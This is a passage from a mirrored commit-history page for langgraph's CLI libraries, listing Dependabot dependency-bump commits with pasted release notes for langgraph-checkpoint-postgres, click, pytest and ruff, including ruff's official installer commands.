mirror of
https://github.com/langchain-ai/langgraph.git
synced 2026-08-21 07:02:25 +02:00
f8839beed9751ea2580aaa4e56c4953f71dba550
204
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
f09cfe8ffc |
chore(deps): bump langgraph-checkpoint-postgres from 3.0.5 to 3.1.1 in /libs/cli/uv-examples/monorepo in the uv group across 1 directory (#8646)
Bumps the uv group with 1 update in the /libs/cli/uv-examples/monorepo directory: [langgraph-checkpoint-postgres](https://github.com/langchain-ai/langgraph). Updates `langgraph-checkpoint-postgres` from 3.0.5 to 3.1.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraph/releases">langgraph-checkpoint-postgres's releases</a>.</em></p> <blockquote> <h2>langgraph-checkpoint-postgres==3.1.1</h2> <p>Changes since checkpointpostgres==3.1.0</p> <ul> <li>release(checkpoint-postgres): 3.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8480">#8480</a>)</li> <li>fix(checkpoint-postgres,checkpoint-sqlite): scope namespace matching to segment boundaries (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8478">#8478</a>)</li> <li>feat(checkpoint,checkpoint-postgres): add opt-in omit_expired to skip expired rows on read (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8354">#8354</a>)</li> <li>chore(deps): bump the minor-and-patch group in /libs/checkpoint-postgres with 5 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8250">#8250</a>)</li> <li>chore(deps): bump langsmith from 0.8.0 to 0.8.18 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8171">#8171</a>)</li> <li>docs: standardize package <code>README.md</code> structure (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8064">#8064</a>)</li> <li>chore: migrate Python type checking to ty (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8002">#8002</a>)</li> <li>chore(deps): bump the minor-and-patch group in /libs/checkpoint-postgres with 7 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7965">#7965</a>)</li> <li>release(checkpoint): 4.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7890">#7890</a>)</li> <li>chore(deps): bump idna from 3.11 to 3.15 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7861">#7861</a>)</li> <li>chore(deps): bump langsmith from 0.7.31 to 0.8.0 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7785">#7785</a>)</li> </ul> <h2>langgraph-checkpoint-sqlite==3.1.1</h2> <p>Changes since checkpointsqlite==3.1.0</p> <ul> <li>release(checkpoint-sqlite): 3.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8481">#8481</a>)</li> <li>fix(checkpoint-postgres,checkpoint-sqlite): scope namespace matching to segment boundaries (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8478">#8478</a>)</li> <li>chore(deps): bump the minor-and-patch group in /libs/checkpoint-sqlite with 4 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8249">#8249</a>)</li> <li>chore(deps): bump langsmith from 0.8.0 to 0.8.18 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8177">#8177</a>)</li> <li>docs: standardize package <code>README.md</code> structure (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8064">#8064</a>)</li> <li>chore: migrate Python type checking to ty (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8002">#8002</a>)</li> <li>chore(deps): bump the minor-and-patch group in /libs/checkpoint-sqlite with 3 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7961">#7961</a>)</li> <li>release(checkpoint): 4.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7890">#7890</a>)</li> <li>chore(deps): bump langsmith from 0.7.31 to 0.8.0 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7786">#7786</a>)</li> <li>chore(deps): bump idna from 3.11 to 3.15 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7862">#7862</a>)</li> </ul> <h2>langgraph-checkpoint-postgres==3.1.0</h2> <p>Changes since checkpointpostgres==3.1.0a4</p> <ul> <li>release: bump alpha packages to official versions (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7775">#7775</a>)</li> <li>chore(deps): bump urllib3 from 2.6.3 to 2.7.0 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7761">#7761</a>)</li> <li>chore(deps): bump langchain-core from 1.3.2 to 1.3.3 in /libs/checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7754">#7754</a>)</li> <li>fix(checkpoint-postgres): add column aliases to seed-blob branch of delta stage-2 UNION ALL (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7728">#7728</a>)</li> </ul> <h2>langgraph-checkpoint-sqlite==3.1.0</h2> <p>Changes since checkpointsqlite==3.1.0a1</p> <ul> <li>release: bump alpha packages to official versions (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7775">#7775</a>)</li> <li>chore(deps): bump urllib3 from 2.6.3 to 2.7.0 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7760">#7760</a>)</li> <li>chore(deps): bump langchain-core from 1.2.28 to 1.3.3 in /libs/checkpoint-sqlite (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7751">#7751</a>)</li> <li>chore: remove keepset helper (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7745">#7745</a>)</li> <li>chore(langgraph): add guide/conformance for delta channel checkpointer (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7736">#7736</a>)</li> </ul> <h2>langgraph-checkpoint-postgres==3.1.0a4</h2> <p>Changes since checkpointpostgres==3.1.0a3</p> <ul> <li>release: alpha bump (a4) for langgraph, checkpoint, checkpoint-postgres (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7701">#7701</a>)</li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langgraph/commit/b2926a0ff9589c28c7e01fe7cdbb337b86d5a4b4"><code>b2926a0</code></a> release(checkpoint-sqlite): 3.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8481">#8481</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/fcdf520938469c8e0992ca2075d6a9582c33260f"><code>fcdf520</code></a> release(checkpoint-postgres): 3.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8480">#8480</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/66ebe1a0da921e73f0f9f879ba105d314c079f7c"><code>66ebe1a</code></a> fix(checkpoint-postgres,checkpoint-sqlite): scope namespace matching to segme...</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/41341457342327166d72fc11952ab28fb61ec0bf"><code>4134145</code></a> release(langgraph): 1.2.10 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8462">#8462</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/30c4d58db86455128e42ddec96b1ba53c553ba22"><code>30c4d58</code></a> chore(deps): bump jupyterlab from 4.5.9 to 4.5.10 in /libs/langgraph (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8440">#8440</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/1f2f88b2b74aa4e26c6a8be877dcb95bad2cef48"><code>1f2f88b</code></a> chore(deps): bump js-yaml from 4.2.0 to 4.3.0 in /libs/cli/js-monorepo-exampl...</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/270820363d56cf8a8e594d2d3b19d543230337fb"><code>2708203</code></a> chore(deps): bump setuptools from 82.0.1 to 83.0.0 in /libs/cli (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8434">#8434</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/9f1e40bfeea28dee2155b4a57f5babd0a53534cf"><code>9f1e40b</code></a> chore(deps): bump setuptools from 80.9.0 to 83.0.0 in /libs/langgraph (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8435">#8435</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/1e1ca88dad9c7e708263257fa9fc27a3fbdfff68"><code>1e1ca88</code></a> feat(langgraph): type v3 stream_events return and native projections (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8389">#8389</a>)</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/31f90df3e6b0268fa77fd2d118a917d420b84a68"><code>31f90df</code></a> revert(langgraph): delete TracePolicy (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/8403">#8403</a>)</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langgraph/compare/checkpointpostgres==3.0.5...checkpointsqlite==3.1.1">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> |
||
|
|
55ec2f2193 |
chore(cli): allow langgraph-api versions up to 1.0.0 (#8319)
<!-- Replace everything above this line with a 1-2 sentence description of your change. Keep the "Fixes #xx" keyword and update the issue number. --> Bumps the langgraph-api upper bound in the cli to `1.0.0` and releases langgraph-cli version 0.4.31. |
||
|
|
be999ad38a |
chore(deps): bump the minor-and-patch group in /libs/cli with 5 updates (#8251)
Bumps the minor-and-patch group in /libs/cli with 5 updates: | Package | From | To | | --- | --- | --- | | [click](https://github.com/pallets/click) | `8.4.1` | `8.4.2` | | [pytest](https://github.com/pytest-dev/pytest) | `9.0.3` | `9.1.1` | | [ruff](https://github.com/astral-sh/ruff) | `0.15.15` | `0.15.20` | | [ty](https://github.com/astral-sh/ty) | `0.0.43` | `0.0.55` | | [hatch](https://github.com/pypa/hatch) | `1.16.5` | `1.17.0` | Updates `click` from 8.4.1 to 8.4.2 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/pallets/click/releases">click's releases</a>.</em></p> <blockquote> <h2>8.4.2</h2> <p>This is the Click 8.4.1 fix release, which fixes bugs but does not otherwise change behavior and should not result in breaking changes compared to the latest feature release.</p> <p>PyPI: <a href="https://pypi.org/project/click/8.4.2/">https://pypi.org/project/click/8.4.2/</a> Changes: <a href="https://click.palletsprojects.com/page/changes/#version-8-4-2">https://click.palletsprojects.com/page/changes/#version-8-4-2</a> Milestone: <a href="https://github.com/pallets/click/milestone/34">https://github.com/pallets/click/milestone/34</a></p> <ul> <li>Fix Fish shell completion broken in <code>8.4.0</code> by <a href="https://redirect.github.com/pallets/click/issues/3126">#3126</a>. Newlines and tabs in option help text are now escaped, keeping the original completion format while still supporting multi-line help. <a href="https://redirect.github.com/pallets/click/issues/3502">#3502</a> <a href="https://redirect.github.com/pallets/click/issues/3043">#3043</a> <a href="https://redirect.github.com/pallets/click/issues/3504">#3504</a> <a href="https://redirect.github.com/pallets/click/issues/3508">#3508</a></li> <li>Deprecated commands and options with empty or missing help text no longer render a stray leading space before the <code>(DEPRECATED)</code> label. <a href="https://redirect.github.com/pallets/click/issues/3509">#3509</a></li> <li>A {class}<code>Group</code> with <code>invoke_without_command=True</code> marks its subcommand as optional in the usage help, showing <code>[COMMAND]</code> instead of <code>COMMAND</code>. <a href="https://redirect.github.com/pallets/click/issues/3059">#3059</a> <a href="https://redirect.github.com/pallets/click/issues/3507">#3507</a></li> <li><code>echo_via_pager</code> flushes after each write, so passing a generator streams output to the pager incrementally instead of staying hidden until the pipe buffer fills. <a href="https://redirect.github.com/pallets/click/issues/3242">#3242</a> <a href="https://redirect.github.com/pallets/click/issues/2542">#2542</a> <a href="https://redirect.github.com/pallets/click/issues/3534">#3534</a></li> <li><code>echo_via_pager</code> and <code>get_pager_file</code> no longer close a borrowed stdout stream when no external pager runs, completing the partial <code>I/O operation on closed file</code> fix from <a href="https://redirect.github.com/pallets/click/issues/3482">#3482</a>. <a href="https://redirect.github.com/pallets/click/issues/3449">#3449</a> <a href="https://redirect.github.com/pallets/click/issues/3533">#3533</a></li> <li>Fix CLI usage symopsis for optional arguments producing double square brackets <code>[[a|b|c]]...</code> whose type already brackets their metavar. <a href="https://redirect.github.com/pallets/click/issues/3578">#3578</a></li> <li>{func}<code>version_option</code> resolves a <code>package_name</code> that does not match an installed distribution as an import (top-level module) name via {func}<code>importlib.metadata.packages_distributions</code>. Packages whose top-level module name differs from their distribution name (<code>PIL</code> vs <code>Pillow</code>, <code>jwt</code> vs <code>PyJWT</code>) no longer raise <code>RuntimeError</code> out of the box. <a href="https://redirect.github.com/pallets/click/issues/2331">#2331</a> <a href="https://redirect.github.com/pallets/click/issues/1884">#1884</a> <a href="https://redirect.github.com/pallets/click/issues/3125">#3125</a> <a href="https://redirect.github.com/pallets/click/issues/3582">#3582</a></li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/pallets/click/blob/main/CHANGES.md">click's changelog</a>.</em></p> <blockquote> <h2>Version 8.4.2</h2> <p>Released 2026-06-24</p> <ul> <li>Fix Fish shell completion broken in <code>8.4.0</code> by {pr}<code>3126</code>. Newlines and tabs in option help text are now escaped, keeping the original completion format while still supporting multi-line help. {issue}<code>3502</code> {issue}<code>3043</code> {pr}<code>3504</code> {pr}<code>3508</code></li> <li>Deprecated commands and options with empty or missing help text no longer render a stray leading space before the <code>(DEPRECATED)</code> label. {pr}<code>3509</code></li> <li>A {class}<code>Group</code> with <code>invoke_without_command=True</code> marks its subcommand as optional in the usage help, showing <code>[COMMAND]</code> instead of <code>COMMAND</code>. {issue}<code>3059</code> {pr}<code>3507</code></li> <li><code>echo_via_pager</code> flushes after each write, so passing a generator streams output to the pager incrementally instead of staying hidden until the pipe buffer fills. {issue}<code>3242</code> {issue}<code>2542</code> {pr}<code>3534</code></li> <li><code>echo_via_pager</code> and <code>get_pager_file</code> no longer close a borrowed stdout stream when no external pager runs, completing the partial <code>I/O operation on closed file</code> fix from {pr}<code>3482</code>. {issue}<code>3449</code> {pr}<code>3533</code></li> <li>Fix CLI usage symopsis for optional arguments producing double square brackets <code>[[a|b|c]]...</code> whose type already brackets their metavar. {pr}<code>3578</code></li> <li>{func}<code>version_option</code> resolves a <code>package_name</code> that does not match an installed distribution as an import (top-level module) name via {func}<code>importlib.metadata.packages_distributions</code>. Packages whose top-level module name differs from their distribution name (<code>PIL</code> vs <code>Pillow</code>, <code>jwt</code> vs <code>PyJWT</code>) no longer raise <code>RuntimeError</code> out of the box. {issue}<code>2331</code> {issue}<code>1884</code> {issue}<code>3125</code> {pr}<code>3582</code></li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/pallets/click/commit/b2e30a175449cfda909ee4fbf4a29a6a071cad53"><code>b2e30a1</code></a> Release version 8.4.2</li> <li><a href="https://github.com/pallets/click/commit/7a16b20e8a8a9bb57c7b4f6f15f60f6597478a49"><code>7a16b20</code></a> Fix <code>package_name</code> resolution when module differs from distribution name (<a href="https://redirect.github.com/pallets/click/issues/3582">#3582</a>)</li> <li><a href="https://github.com/pallets/click/commit/bec59289d8cf9b9b4010642b2fee483e5f8eeefc"><code>bec5928</code></a> Fix <code>package_name</code> resolution when top-level module differs from distribution...</li> <li><a href="https://github.com/pallets/click/commit/916883afad450c0c9bbc4212817900949131adbd"><code>916883a</code></a> Fix tests to not rely on <code>-Wdefault</code> option (<a href="https://redirect.github.com/pallets/click/issues/3591">#3591</a>)</li> <li><a href="https://github.com/pallets/click/commit/09195f6a92972c4e1bbb5493686456e6ba624520"><code>09195f6</code></a> Fix double-bracketing of choices in synopsis (<a href="https://redirect.github.com/pallets/click/issues/3578">#3578</a>)</li> <li><a href="https://github.com/pallets/click/commit/1557e265222c431b1e4d6c4dd6754006ed10dc02"><code>1557e26</code></a> Check for warning exception with idiomatic context manager</li> <li><a href="https://github.com/pallets/click/commit/d9ff13369ac78d9acff693faa79f26badd566ab3"><code>d9ff133</code></a> Static typing improvements in <code>click.shell_completion</code> (<a href="https://redirect.github.com/pallets/click/issues/3460">#3460</a>)</li> <li><a href="https://github.com/pallets/click/commit/762c97eef7c1b3779678992f26a553a2a8c80793"><code>762c97e</code></a> Fix double-bracketing of choices in synopsis</li> <li><a href="https://github.com/pallets/click/commit/8929d392781c8113bc569f388c15c47b94f86581"><code>8929d39</code></a> Convert changes to markdown. (<a href="https://redirect.github.com/pallets/click/issues/3559">#3559</a>)</li> <li><a href="https://github.com/pallets/click/commit/237be507dbe3e653f6b41b3ea53266805534e8cd"><code>237be50</code></a> Move changes headings down a level.</li> <li>Additional commits viewable in <a href="https://github.com/pallets/click/compare/8.4.1...8.4.2">compare view</a></li> </ul> </details> <br /> Updates `pytest` from 9.0.3 to 9.1.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/pytest-dev/pytest/releases">pytest's releases</a>.</em></p> <blockquote> <h2>9.1.1</h2> <h1>pytest 9.1.1 (2026-06-19)</h1> <h2>Bug fixes</h2> <ul> <li><a href="https://redirect.github.com/pytest-dev/pytest/issues/14220">#14220</a>: Fixed a logic bug in <code>pytest.RaisesGroup</code> which would might cause it to display incorrect "It matches <!-- raw HTML omitted -->FooError()<!-- raw HTML omitted --> which was paired with <!-- raw HTML omitted -->BarError<!-- raw HTML omitted -->" messages.</li> <li><a href="https://redirect.github.com/pytest-dev/pytest/issues/14591">#14591</a>: Fixed a regression in pytest 9.1.0 which caused overriding a parametrized fixture with an indirect <!-- raw HTML omitted --><a href="https://github.com/pytest"><code>@pytest</code></a>.mark.parametrize<!-- raw HTML omitted --> to fail with "duplicate parametrization of '<fixture name>'".</li> <li><a href="https://redirect.github.com/pytest-dev/pytest/issues/14606">#14606</a>: Fixed <code>list-item</code> typing errors from mypy in <code>@pytest.mark.parametrize <pytest.mark.parametrize ref></code> <code>argvalues</code> parameter.</li> <li><a href="https://redirect.github.com/pytest-dev/pytest/issues/14608">#14608</a>: Fixed a regression in pytest 9.1.0 where <code>conftest.py</code> files located in <code><invocation dir>/test*</code> were no longer loaded as initial conftests when invoked without arguments. This could cause certain hooks (like <code>pytest_addoption</code>) in these files to not fire.</li> </ul> <h2>9.1.0</h2> <h1>pytest 9.1.0 (2026-06-13)</h1> <h2>Removals and backward incompatible breaking changes</h2> <ul> <li> <p><a href="https://redirect.github.com/pytest-dev/pytest/issues/14533">#14533</a>: When using <code>--doctest-modules</code>, autouse fixtures with <code>module</code>, <code>package</code> or <code>session</code> scope that are defined inline in Python test modules (not plugins or conftests) will now possibly execute twice.</p> <p>If this is undesirable, move the fixture definition to a <code>conftest.py</code> file if possible.</p> <p>Technical explanation for those interested: When using <!-- raw HTML omitted -->--doctest-modules<!-- raw HTML omitted -->, pytest possibly collects Python modules twice, once as <code>pytest.Module</code> and once as a <code>DoctestModule</code> (depending on the configuration). Due to improvements in pytest's fixture implementation, if e.g. the <code>DoctestModule</code> collects a fixture, it is now visible to it only, and not to the <code>Module</code>. This means that both need to register the fixtures independently.</p> </li> </ul> <h2>Deprecations (removal in next major release)</h2> <ul> <li> <p><a href="https://redirect.github.com/pytest-dev/pytest/issues/10819">#10819</a>: Added a deprecation warning for class-scoped fixtures defined as instance methods (without <code>@classmethod</code>). Such fixtures set attributes on a different instance than the test methods use, leading to unexpected behavior. Use <code>@classmethod</code> decorator instead -- by <code>yastcher</code>.</p> <p>See <code>10819</code> and <code>14011</code>.</p> </li> <li> <p><a href="https://redirect.github.com/pytest-dev/pytest/issues/12882">#12882</a>: Calling <code>request.getfixturevalue() <pytest.FixtureRequest.getfixturevalue></code> during teardown to request a fixture that was not already requested is now deprecated and will become an error in pytest 10.</p> <p>See <code>dynamic-fixture-request-during-teardown</code> for details.</p> </li> <li> <p><a href="https://redirect.github.com/pytest-dev/pytest/issues/13409">#13409</a>: Using non-<code>~collections.abc.Collection</code> iterables (such as generators, iterators, or custom iterable objects) for the <code>argvalues</code> parameter in <code>@pytest.mark.parametrize <pytest.mark.parametrize ref></code> and <code>metafunc.parametrize <pytest.Metafunc.parametrize></code> is now deprecated.</p> <p>These iterables get exhausted after the first iteration, leading to tests getting unexpectedly skipped in cases such as running <code>pytest.main()</code> multiple times, using class-level parametrize decorators, or collecting tests multiple times.</p> <p>See <code>parametrize-iterators</code> for details and suggestions.</p> </li> <li> <p><a href="https://redirect.github.com/pytest-dev/pytest/issues/13946">#13946</a>: The private <code>config.inicfg</code> attribute is now deprecated. Use <code>config.getini() <pytest.Config.getini></code> to access configuration values instead.</p> <p>See <code>config-inicfg</code> for more details.</p> </li> <li> <p><a href="https://redirect.github.com/pytest-dev/pytest/issues/14004">#14004</a>: Passing <code>baseid</code> to <code>~pytest.FixtureDef</code> or <code>nodeid</code> strings to fixture registration APIs is now deprecated. These are internal pytest APIs that are used by some plugins.</p> </li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/pytest-dev/pytest/commit/cf470ec0bf7eb89cd97dd56df4859eae5db46447"><code>cf470ec</code></a> Prepare release version 9.1.1</li> <li><a href="https://github.com/pytest-dev/pytest/commit/e0c8ce6cc5db1f08363be6f152c32e6838df2690"><code>e0c8ce6</code></a> Merge pull request <a href="https://redirect.github.com/pytest-dev/pytest/issues/14625">#14625</a> from pytest-dev/patchback/backports/9.1.x/a07c31a97...</li> <li><a href="https://github.com/pytest-dev/pytest/commit/1b82d1694fce22385ee7a4287917fbafbaf2e757"><code>1b82d16</code></a> Merge pull request <a href="https://redirect.github.com/pytest-dev/pytest/issues/14624">#14624</a> from pytest-dev/patchback/backports/9.1.x/b375b79ec...</li> <li><a href="https://github.com/pytest-dev/pytest/commit/501c4bc784da3b08bfcaa64858eba5d15dc59e53"><code>501c4bc</code></a> Merge pull request <a href="https://redirect.github.com/pytest-dev/pytest/issues/14596">#14596</a> from bluetech/doc-classmethod</li> <li><a href="https://github.com/pytest-dev/pytest/commit/b61f588e36e9377c3d1d3f06bece1da0fc31d9ca"><code>b61f588</code></a> Merge pull request <a href="https://redirect.github.com/pytest-dev/pytest/issues/14622">#14622</a> from chrisburr/fix-14608-initial-conftest-test-subdir</li> <li><a href="https://github.com/pytest-dev/pytest/commit/9a567e009f4d2da3ce1721c6db3109cb5744d40a"><code>9a567e0</code></a> [automated] Update plugin list (<a href="https://redirect.github.com/pytest-dev/pytest/issues/14617">#14617</a>) (<a href="https://redirect.github.com/pytest-dev/pytest/issues/14618">#14618</a>)</li> <li><a href="https://github.com/pytest-dev/pytest/commit/ef8b2993e5b48639e4a3d97d0525df9760781384"><code>ef8b299</code></a> Merge pull request <a href="https://redirect.github.com/pytest-dev/pytest/issues/14620">#14620</a> from pytest-dev/patchback/backports/9.1.x/680f9f3ed...</li> <li><a href="https://github.com/pytest-dev/pytest/commit/66abd0784d4cb7c1ba44ab9a8896506cd4985acc"><code>66abd07</code></a> Merge pull request <a href="https://redirect.github.com/pytest-dev/pytest/issues/14220">#14220</a> from bysiber/fix-stale-iexp-raisesgroup</li> <li><a href="https://github.com/pytest-dev/pytest/commit/79fbf93b666cac5f27c9dad047943d47b766c8d5"><code>79fbf93</code></a> Merge pull request <a href="https://redirect.github.com/pytest-dev/pytest/issues/14612">#14612</a> from pytest-dev/patchback/backports/9.1.x/974ed48b6...</li> <li><a href="https://github.com/pytest-dev/pytest/commit/0d312eb876177e9f1c04262b54060a41034ebf5c"><code>0d312eb</code></a> Merge pull request <a href="https://redirect.github.com/pytest-dev/pytest/issues/14611">#14611</a> from bluetech/parametrize-argvalues-typing</li> <li>Additional commits viewable in <a href="https://github.com/pytest-dev/pytest/compare/9.0.3...9.1.1">compare view</a></li> </ul> </details> <br /> Updates `ruff` from 0.15.15 to 0.15.20 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/releases">ruff's releases</a>.</em></p> <blockquote> <h2>0.15.20</h2> <h2>Release Notes</h2> <p>Released on 2026-06-25.</p> <h3>Preview features</h3> <ul> <li>Allow human-readable names in rule selectors (<a href="https://redirect.github.com/astral-sh/ruff/pull/25887">#25887</a>)</li> <li>Emit a warning instead of an error for unknown rule selectors (<a href="https://redirect.github.com/astral-sh/ruff/pull/26113">#26113</a>)</li> <li>Match <code>noqa</code> shebang handling in <code>ruff:ignore</code> comments (<a href="https://redirect.github.com/astral-sh/ruff/pull/26286">#26286</a>)</li> <li>[<code>ruff</code>] Remove <code>pytest-fixture-autouse</code> (<code>RUF076</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/26240">#26240</a>, <a href="https://redirect.github.com/astral-sh/ruff/pull/26371">#26371</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Add versioning sections to custom crate READMEs (<a href="https://redirect.github.com/astral-sh/ruff/pull/26317">#26317</a>)</li> <li>Update <code>ruff_python_parser</code> README for crates.io (<a href="https://redirect.github.com/astral-sh/ruff/pull/26315">#26315</a>)</li> <li>[<code>perflint</code>] Clarify that <code>PERF402</code> applies to any iterable (<a href="https://redirect.github.com/astral-sh/ruff/pull/26242">#26242</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/dhruvmanila"><code>@dhruvmanila</code></a></li> <li><a href="https://github.com/MichaReiser"><code>@MichaReiser</code></a></li> <li><a href="https://github.com/ntBre"><code>@ntBre</code></a></li> <li><a href="https://github.com/trilamsr"><code>@trilamsr</code></a></li> </ul> <h2>Install ruff 0.15.20</h2> <h3>Install prebuilt binaries via shell script</h3> <pre lang="sh"><code>curl --proto '=https' --tlsv1.2 -LsSf https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-installer.sh | sh </code></pre> <h3>Install prebuilt binaries via powershell script</h3> <pre lang="sh"><code>powershell -ExecutionPolicy Bypass -c "irm https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-installer.ps1 | iex" </code></pre> <h2>Download ruff 0.15.20</h2> <table> <thead> <tr> <th>File</th> <th>Platform</th> <th>Checksum</th> </tr> </thead> <tbody> <tr> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-apple-darwin.tar.gz">ruff-aarch64-apple-darwin.tar.gz</a></td> <td>Apple Silicon macOS</td> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-apple-darwin.tar.gz.sha256">checksum</a></td> </tr> <tr> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-x86_64-apple-darwin.tar.gz">ruff-x86_64-apple-darwin.tar.gz</a></td> <td>Intel macOS</td> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-x86_64-apple-darwin.tar.gz.sha256">checksum</a></td> </tr> <tr> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-pc-windows-msvc.zip">ruff-aarch64-pc-windows-msvc.zip</a></td> <td>ARM64 Windows</td> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-pc-windows-msvc.zip.sha256">checksum</a></td> </tr> <tr> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-i686-pc-windows-msvc.zip">ruff-i686-pc-windows-msvc.zip</a></td> <td>x86 Windows</td> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-i686-pc-windows-msvc.zip.sha256">checksum</a></td> </tr> <tr> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-x86_64-pc-windows-msvc.zip">ruff-x86_64-pc-windows-msvc.zip</a></td> <td>x64 Windows</td> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-x86_64-pc-windows-msvc.zip.sha256">checksum</a></td> </tr> <tr> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-unknown-linux-gnu.tar.gz">ruff-aarch64-unknown-linux-gnu.tar.gz</a></td> <td>ARM64 Linux</td> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-unknown-linux-gnu.tar.gz.sha256">checksum</a></td> </tr> <tr> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-i686-unknown-linux-gnu.tar.gz">ruff-i686-unknown-linux-gnu.tar.gz</a></td> <td>x86 Linux</td> <td><a href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-i686-unknown-linux-gnu.tar.gz.sha256">checksum</a></td> </tr> </tbody> </table> <!-- raw 